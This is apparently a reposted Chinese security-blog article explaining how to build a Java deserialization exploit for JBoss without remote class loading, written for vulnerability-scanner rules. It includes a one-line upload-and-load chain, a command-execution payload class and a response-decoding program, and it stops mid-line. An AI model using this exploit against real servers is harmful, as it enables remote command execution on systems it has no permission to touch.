原文地址:http://www.freebuf.com/tools/88908.html
本文原創作者:rebeyond
文中提及的部分技術、工具可能帶有一定攻擊性,僅供安全學習和教學用途,禁止非法使用!
0×00 前言
前段時間java 的反序列化漏洞吵得沸沸揚揚,從剛開始國外某牛的一個可以執行OS命令的payload生成器,到后來的通過URLClassLoader來加載遠程類來反彈shell。但是后來公司漏掃需要加規則來識別這種漏洞,而客戶的漏掃又時常會工作在純內網的環境下,因此遠程加載類的方法行不通。想到自己寫一個利用工具,於是有了下面這篇文章(本文以JBOSS為例)。
0×01目標
1. EXP只能利用服務器本機的資源,不能加載遠程類。
2. 上傳任意文件至任意目錄。
3. 獲取命令執行的回顯內容。
0×02實現
EXP只能利用服務器本機的資源,不能加載遠程類:
通過對漏洞成因分析可以得知,我們只能通過鏈式調用來執行java語句。換句話說,我們所想執行的語句必須可以寫到一行里面,而且還不能帶分號:( 其實這里很好突破,我們只要把我們想要執行的任意代碼(無論有多長)在本地編譯成class,然后把class字節碼上傳到服務器就可以了。然后問題又來了,怎么上傳呢,上傳到什么路徑下面呢?上傳可以通過FileOutputStream這個類來實現,上傳路徑就更簡單了,直接給FileOutputStream傳個“.”過去,上傳到程序運行的當前目錄下面,一句話代碼:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上傳的問題解決了,下面執行也就好辦了,一句代碼:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。
這樣就解決了我們的兩個目標,只利用服務器本機資源,不需要聯網,可以上傳任意文件至任意目錄。
獲取命令回顯內容:
通過對JBOSS中invoker/JMXInvokerServlet的返回結果進行分析,得知返回的是一個 MarshalledValue對象,該對象封裝了invoker/JMXInvokerServlet的返回值,如果執行過程中有異常拋出,一個InvocationException對象就會封裝在MarshalledValue對象里面。到這里思路就很明確了,java 的異常有個構造函數是可以傳String參數的,我們可以把第一步那個class文件中命令執行的結果作為參數構造一個Exception,然后在payload.class最后throw這個Exception,這樣這個帶有回顯內容的Exception就會封裝在MarshalledValue對象里面通過http協議返回,我們只要把返回的MarshalledValue對象解包,就可以獲取回顯的內容了。
下面給出payload.java的源代碼:
import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig { public RunCheckConfig(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
解包程序的源代碼:
public static void main(String args[]) throws Exception { FileInputStream fis = new FileInputStream("d:/response.bin"); byte TempByte[]=new byte[5000*1000]; int length=fis.read(TempByte); int ClassStart=0; for (int i=0;i<length;i++) { if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a) { System.out.println(i); ClassStart=i; break; } } byte ClassByte[]=new byte[length-ClassStart-4]; for (int i=0;i<ClassByte.length;i++) { ClassByte[i]=TempByte[i+ClassStart+4]; } fis.close(); TempByte=null; ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte); ObjectInputStream ois = new ObjectInputStream(ai); MarshalledValue st1 = (MarshalledValue) ois.readObject(); InvocationException o=(InvocationException) st1.get(); System.out.println(o.getTargetException().getCause().getCause().getCause